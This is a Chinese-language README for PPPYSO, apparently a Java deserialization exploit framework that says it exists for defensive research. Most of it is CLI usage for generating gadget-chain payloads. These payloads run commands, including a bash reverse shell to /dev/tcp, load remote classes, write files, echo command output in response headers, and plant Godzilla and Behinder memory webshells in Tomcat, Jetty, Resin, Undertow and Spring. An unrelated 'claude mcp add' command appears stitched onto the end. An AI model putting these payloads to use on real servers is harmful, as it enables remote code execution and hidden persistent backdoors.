By. Whoopsunix
🗿 PPPYSO 是一个Java 反序列化概念验证框架,仅为安全防护研究提供参考,所以不会开放任何绕过性质的研究成果,并且不保证稳定性。基于子项目 JavaRce 实现,最终目的是实现 RASP 层面的拦截。
👏 欢迎 issue
框架分模块构建,每个模块通过一个 Helper 来管理生成内容,可以根据配置生成各种增强 Payload,通过动态代理的方式实现 JavaClass 增强减少依赖的同时兼容 javax/jakarta 标准。包含以下模块:
参考 Marshalling Pickles 中提到的 gadget chain 概念,将 ysoserial 原先的调用链拆分为入口点 (kick-off), 触发点 (sink),其余为中间的调用链 (chain),针对各个部分针对性增强。
InvokerTransformer 功能增强TemplatesImpl JavaClass增强、AbstractTranslet 可选移除、_bytecodes 特征消除基于子项目 JavaRce ,在实现上不同。PPPYSO 中通过动态代理的方式实现内存马,减少依赖的同时兼容 javax/jakarta 标准。JavaClass 动态类名、内存马、Rce 回显。
实现序列化数据的加解密、序列化等功能
目前支持 CLI、Yaml 配置,通过
直接运行生成模板~~配置文件(写了就放着了不准备维护)~~,并展示支持的调用链

WIKI 里~~调用链的分析比较久远也可以看看~~,之后有时间会尽量补全 gadget chain 图

Cli 通过 java -jar PPPYSO-{version}-jar-with-dependencies.jar -g Coherence1 {-h | -help} 获取帮助信息

项目完全开源,可直接下载 Release 版本,或自行编译,编译成功后在 scheduler/target 下生成 PPPYSO-${version}-jar-with-dependencies.jar
# 安装依赖
mvn clean
# 打包
mvn clean package -Dmaven.test.skip
mvn clean package -DskipTests
-g URLDNS
-host
-dp
-cn
-ds
URLDNS 支持组件利用链探测和类探测,还在完善中
组件探测参考 Urldns 项目实现,改了一些类可以通过 -show 展示目前规则已写的类

-dp 指定组件,all 探测所有eg. -g URLDNS -host 7ox24q.dnslog.cn -dp "all"


-cn 指定探测的全限定类名-ds 指定对应的子域名eg. -g URLDNS -host 4hu16z.dnslog.cn -cn "com.ppp.DNSTest" -ds "pppyso"


通过 -e | -enchant 指定增强类型,所有指令忽略大小写
通过 java -jar PPPYSO-{version}-jar-with-dependencies.jar -g commonscollections1 -show 获取调用链支持的增强功能,指令均忽略大小写。

-e command
-cmd {whoami}
-cmdt {ScriptEngine}
-split
-cmd 输入命令-cmdt 命令执行类型-split 参数会将命令拆分为 String[3] 数组,用这个参数相当于可以指定执行命令所需的终端eg. -g commonscollections1 -e command -cmd "bash -c bash -i >&/dev/tcp/ip/1234 0>&1" -split

通过 -cmdt 参数指定命令执行类型为 ScriptEngine
eg. -g commonscollections2 -e command -cmd "open -a Calculator.app" -cmdt ScriptEngine

-code 支持自定义 js 语句eg. -g commonscollections2 -e command -cmdt ScriptEngine -code "x=new java.lang.ProcessBuilder;x.command('open','-a','Calculator.app');x.start();"

-cf 对于InvokerTransformer 增强的链支持从文件中获取复杂语句eg. -g commonscollections2 -e command -cmdt ScriptEngine -cf code.txt

-e delay
-dt {/s}
-dt 指定延时时间 /seg. -g commonscollections2 -e delay -dt 5

-e socket
-host {ip:port}
-host 指定需要发起 socket 请求的地址,用来测试是调用链被 ban 了还是限制了执行命令。eg. -g commonscollections2 -e socket -host 127.0.0.1:1234

-e RemoteLoad
-url
-cn
-ctor
-url 指定远程地址-cn 指定远程加载的类名eg. -g commonscollections2 -e RemoteLoad -url http://127.0.0.1:1234/ClassLoad-1.0.jar -cn org.example.Exec

-ctor 指定需要参数的构造方法,支持 Int | String 类型
-e FileWrite
-sfp
-lfp
-fc
-append
-split
-part
-sfp 指定写入远程文件的地址-fc 指定需要写入的内容-lfp 从本地读取文件-append 追加写入文件eg. -g commonscollections1 -e FileWrite -sfp /tmp/1.jsp -fc 123456

-append 追加写入

-split 设置文件分片后生成, -part 指定每个分片的大小,默认 100kb。不过该功能不建议用在 TemplatesImpl 增强的链,用 Base64 编码只能分片很小。
eg. -g commonscollections1 -e FileWrite -sfp /tmp/itest -lfp /tmp/iox -split -part 1000

-ext 参数指定 TemplatesImpl 增强的类继承 AbstractTranslet
-e JavaClass
-jht Custom
-jfp {filePath}
-jht Custom -jfp 可以选择加载自定义的 JavaClass,.class 文件或者形如 yv66vg 开头的 base64 加密eg. -g Fastjson -e JavaClass -jht Custom -jfp testms
通过线程遍历 request 对象实现回显目前测试如下
| Version | Auto Version (正在针对实际环境优化中..) | |
|---|---|---|
| Tomcat | 6-9 | 5-11 |
| Spring | ||
| Resin | [4.0.52, 4.0.66] | |
| Jetty |
-e JavaClass -jht RceEcho 指定为 Rce 回显-mw 参数指定中间件-jt 指定回显的实现方式,可通过 AutoFind 使用线程遍历寻找 request(实测优化中..)可选参数默认都是随机生成的,也可以指定
-fheader 指定接收命令的 header key-frheader 指定命令输出在哪个响应头中,因为实际测试发现 body 很多时候是没法回显了,所以干脆输出到头-e JavaClass
-jht RceEcho
-mw [Tomcat | Jetty ...]
-jt [AutoFind | Default]
-fheader
-frheader
eg. -g commonscollections2 -e JavaClass -jht RceEcho -mw Tomcat -o base64

内存马这部分的内容还没经过实际环境测试,采用 Loader + Proxy 的方式编写
-e JavaClass
-jht MemShell
-mw [Tomcat | Jetty ...]
-ms [Servlet | Listener | Filter ...]
-msf [Exec | Godzilla ...]
-jt [AutoFind]
-mt [Raw]
-fname
-fheader
-frheader
-fpath
-fkey
-fpass
-flk
-flv
-e JavaClass -jht MemShell 指定为内存马-mw 指定中间件-ms 指定内存马类型-msf 指定内存马功能-jt 指定内存马上下文的获取方式,目前计划实现自动线程遍历寻找 request,可通过 AutoFind 触发-mt 指定内存马实现方式,目前只适配了 Spring Interceptor Godzilla Raw可选参数默认都是随机生成的,也可以指定
-fname 指定内存马名称-fheader 指定接收命令的 header key-frheader 指定命令输出在哪个响应头中,因为实际测试发现 body 很多时候是没法回显了,所以干脆输出到头-fpath 指定路径-fkey 指定内存马密钥-fpass 指定内存马密码-flk 、-flv 指定触发内存马需要的 K-V 值,Contains 关系,比如 User-Agent 中需要存在 Whoopsunix。| remarks | Exec | Godzilla | Behinder | Suo5(todo jakarta) | Version Test | Auto Version Test | |
|---|---|---|---|---|---|---|---|
| Tomcat Servlet | ✔ | ✔ | ✔ | ✔ | 7-11 | ||
| Tomcat Filter | ✔ | ✔ | ✔ | ✔ | 7-11 | ||
| Tomcat Listener | ✔ | ✔ | ✔ | ✔ | 6.0.35, [7.0.59, 7.0.109], 8, 9, 10 | 5-11 | |
| Tomcat Executor | 通过 Header 交互, Thread Auto Find | ✔ | 8, 9 | ||||
| Tomcat Valve | 动态代理没有经过实战测试 | ✔ | ✔ | ✔ | 8 | ||
| Resin Servlet | ✔ | ✔ | ✔ | ✔ | [4.0.52, 4.0.66] | ||
| Resin Filter | ✔ | ✔ | ✔ | ✔ | [4.0.52, 4.0.66] | ||
| Resin Listener | ✔ | ✔ | ✔ | ✔ | [4.0.52, 4.0.66] | ||
| Jetty Listener | ✔ | ✔ | ✔ | ✔ | 9, 10 | 7-11 | |
| Undertow Servlet | ✔ | ✔ | ✔ | ✔ | 2.2.25.Final | ||
| Undertow Listener | ✔ | ✔ | ✔ | ✔ | 2.2.25.Final | ||
| Undertow Filter | ✔ | ✔ | ✔ | ✔ | 2.2.25.Final | ||
| Spring Controller | ✔ | 5.3.28 | |||||
| Spring Interceptor | ✔ | ✔ Raw | 5.3.28 |
eg. -g commonscollections2 -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -o base64

InvokerTransformer 增强的链子也提供了加载字节码的方式,默认采用 ScriptEngineManager,~~也可以选择(换汤不换药 懒得删了)~~ org.mozilla.javascript.DefiningClassLoader.defineClass()
-lf [Default | RHINO]
eg. -g commonscollections1 -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -o base64 -lf rhino
JavaClass 也可以单独生成,并且提供加密封装
-je [Script | SPEL | FreeMarker]
-jme [JDK17]
-je 指定封装方式,支持组合封装 eg. SPEL,FreeMarker-jme JavaClass 创建增强逻辑,之后考虑是否太麻烦了移除,目前有 SPEL JDK17 封装eg. -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -je FreeMarker
eg. 某 FreeMarker 高版本 JDK 环境利用 -e JavaClass -jht MemShell -mw Spring -ms Interceptor -msf Godzilla -je SPEL,FreeMarker -jme JDK17 -mt raw

-o [Default | GZIP | Base64]
-st [Default | XStream | HexAscii | UTF8Mix]
-save
-close
-save 指定结果输出到哪个文件-close 关闭除结果外的其他输出-o 指定输出方式,支持按顺序组合输出,eg. -g commonscollections1 -cmd "open -a Calculator.app" -o gzip,base64
-st 指定序列化输出类型,eg. -g commonscollections1 -cmd "open -a Calculator.app" -st UTF8Mix

暂时兼容CB,通过 -cb 参数指定,可选 [1.8.3 | 1.6 | 1.5],默认 > 1.9.0 的 serialVersionUID
eg. -g CommonsBeanutils1 -cmd "open -a Calculator.app" -cb 1.8.3

| 指令 | CB 版本 | serialVersionUID |
|---|---|---|
| >= 1.9.0 | -2044202215314119608 | |
| 1.8.3 | 1.7.0 <= <= 1.8.3 | -3490850999041592962 |
| 1.6 | >= 1.6 or = 20030211.134440 | 2573799559215537819 |
| 1.5 | >= 1.5 or 20021128.082114 > 1.4.1 | 5123381023979609048 |
-wrap 指令进行 SignedObject 二次反序列化封装,主要还是出现在 CTF 题,所以只在 ROME 链打了个样eg. -g ROME -cmd "open -a Calculator.app" -wrap

-gd [rome | rometools]
-gd 指定 rome 的依赖包 eg. -g ROME -cmd "open -a Calculator.app" -gd rometools
在 gadget 增强的前面拼接 exp 使用该模块 ,exp -show 查看支持的 EXP

eg. exp RMIRegistryExploit -g CommonsCollections2 -cmd "open -a Calculator.app" -ehost 127.0.0.1 -eport 1099

感谢师傅们的研究,有很大的帮助 :)
@BeichenDream GodzillaMemoryShellProject
@cckuailong JNDI-Injection-Exploit-Plus
https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/
$ claude mcp add PPPYSO \
-- python -m otcore.mcp_server <graph>